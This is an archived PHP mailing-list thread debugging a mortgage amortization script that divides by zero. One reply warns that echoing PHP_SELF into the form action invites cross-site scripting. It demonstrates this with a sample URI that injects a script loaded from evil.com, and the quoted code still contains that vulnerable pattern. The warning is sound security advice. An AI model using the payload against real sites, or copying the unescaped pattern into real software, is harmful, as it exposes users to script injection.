Re: Division by 0

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Op 3/10/10 6:23 PM, Joseph Thayne schreef:
> Looks to me like you are closing your form before you put anything in
> it.  Therefore, the loan_amount is not set making the value 0.  Follow
> the math, and you are dividing by 1-1.
> 
> Change this line:
> 
> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"></form>
> 
> to:
> 
> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

this is a XSS waiting to happen. I can put something like the following in
the request uri:

index.php?" onsubmit="evil()"><script src="http://www.evil.com/evi.js";></script>

with regard to the original problem - some input validation is in order.

	(pow($intCalc,$totalPayments) - 1);

if $intCal and $totalPayments are both equal to 1 then either something
is wrong and the calc shouldn't be done or some other calc needs to
be done.

every value being POSTed should be checked that it's been set, and that
it's a valid numeric value (for the numeric fields) ... if anything is
missing show the form again and display an error message without doing
the calculation.

> 
> and you should be good to go.
> 
> Joseph
> 
> Gary wrote:
>> I have a mortgage amortization script that was working fine,now it
>> seems to have gone awry. Below is the entire script plus input page. 
>> I am getting an error
>>
>> Warning: Division by zero in
>> /home/content/J/a/y/Jayski/html/one2one/Ricksrecursivefunctions.php on
>> line 47
>>
>> Which is  (pow($intCalc,$totalPayments) - 1);
>>
>> Frankly I am not even sure the information is being passed to the script.
>>
>> Anyone see what I am missing?
>>
>> Gary
>>
>>
>> <div id="onecol">Calculate your Loan</div>
>> <div id="leftcontent">
>>
>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"></form>
>> <table>
>>  <tr>
>>       <td style="background-color:#B1D8D8" width="110px">Loan Amount</td>
>>         <td><input name="loan_amount" type="text" size="25" /> USD</td>
>>         <td><a href="javascript:void(0);"  onmouseover="Tip('This is
>> the amount of money to be loaned.')" onmouseout="UnTip()"><img
>> src="images/help.png" class="noborder"/></a></td>
>>   </tr>
>> <tr>
>>       <td style="background-color:#B1D8D8" width="110px">Type of
>> Loan</td>
>>       <td>
>> <select name="type" size="1" id="type">
>>   <option>Installment</option>
>>   <option>Balloon</option>
>> </select></td>
>> <td><a href="javascript:void(0);"  onmouseover="Tip('This is the
>> method of repayment.')" onmouseout="UnTip()"><img
>> src="images/help.png" class="noborder"/></a></td>
>>   </tr>
>>    <tr>
>>      <td style="background-color:#B1D8D8" width="100px">Term of Loan</td>
>>         <td><input name="loan_term" type="text" size="5" />
>> </select>Months</td>
>> <td><a href="javascript:void(0);"  onmouseover="Tip('This is the
>> amount of time that the money is loaned for.')"
>> onmouseout="UnTip()"><img src="images/help.png" class="noborder"
>> /></a></td>
>>         </tr>
>>      <tr>
>>      <td style="background-color:#B1D8D8" width="140px">Interest
>> Rate</td>
>>         <td><input name="int_rate" type="text" size="10" /> Per
>> Annum</td><td><a href="javascript:void(0);" 
>> onmouseover="Tip('Percentage (%) charged on loan on an annual basis.
>> <br />Please see our FAQs for information on usury rates. <br />If no
>> amount is entered this will be 0%.')" onmouseout="UnTip()"><img
>> src="images/help.png" class="noborder" /></a></td>
>>         </tr>
>> </table>
>> <label>
>> <input type="submit" name="submit" id="submit" value="submit" />
>>     </label>
>> </form>
>> <?php
>>
>> function amortizationTable($paymentNum, $periodicPayment, $balance,
>>                            $monthlyInterest) {
>>     $paymentInterest = round($balance * $monthlyInterest,2);
>>     $paymentPrincipal = round($periodicPayment - $paymentInterest,2);
>>     $newBalance = round($balance - $paymentPrincipal,2);
>>     print "<tr>
>>            <td>$paymentNum</td>
>>            <td>\$".number_format($balance,2)."</td>
>>            <td>\$".number_format($periodicPayment,2)."</td>
>>            <td>\$".number_format($paymentInterest,2)."</td>
>>            <td>\$".number_format($paymentPrincipal,2)."</td>
>>            </tr>";
>>      # If balance not yet zero, recursively call amortizationTable()
>>      if ($newBalance > 0) {
>>         $paymentNum++;
>>         amortizationTable($paymentNum, $periodicPayment, $newBalance,
>>                           $monthlyInterest);
>>      } else {
>>         exit;
>>      }
>> } #end amortizationTable()
>>
>>    # Loan balance
>>    $balance =($_POST['loan_amount']);
>>
>>    # Loan interest rate
>>    $interestRate = ($_POST['int_rate']);
>>
>>    # Monthly interest rate
>>    $monthlyInterest = ("$interestRate / 12");
>>
>>    # Term length of the loan, in years.
>>    $termLength =($_POST['loan_term']);
>>
>>    # Number of payments per year.
>>    $paymentsPerYear = 12;
>>
>>    # Payment iteration
>>    $paymentNumber =($_POST['loan_term']);
>>
>>    # Perform preliminary calculations
>>    $totalPayments = $termLength * $paymentsPerYear;
>>    $intCalc = 1 + $interestRate / $paymentsPerYear;
>>    $periodicPayment = $balance * pow($intCalc,$totalPayments) *
>> ($intCalc - 1) /
>>                                     (pow($intCalc,$totalPayments) - 1);
>>    $periodicPayment = round($periodicPayment,2);
>>
>>    # Create table
>>    echo "<table width='50%' align='center' border='1'>";
>>    print "<tr>
>>           <th>Payment
>>     Number</th><th>Balance</th>
>>           <th>Payment</th><th>Interest</th><th>Principal</th>
>>           </tr>";
>>
>>    # Call recursive function
>>    amortizationTable($paymentNumber, $periodicPayment, $balance,
>> $monthlyInterest);
>>
>>    # Close table
>>    print "</table>";
>>
>> ?>
>> </div>
>>
>>
>> __________ Information from ESET Smart Security, version of virus
>> signature database 4932 (20100310) __________
>>
>> The message was checked by ESET Smart Security.
>>
>> http://www.eset.com
>>
>>
>>
>>
>>
>>   
> 


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[Index of Archives]     [PHP Home]     [Apache Users]     [PHP on Windows]     [Kernel Newbies]     [PHP Install]     [PHP Classes]     [Pear]     [Postgresql]     [Postgresql PHP]     [PHP on Windows]     [PHP Database Programming]     [PHP SOAP]

  Powered by Linux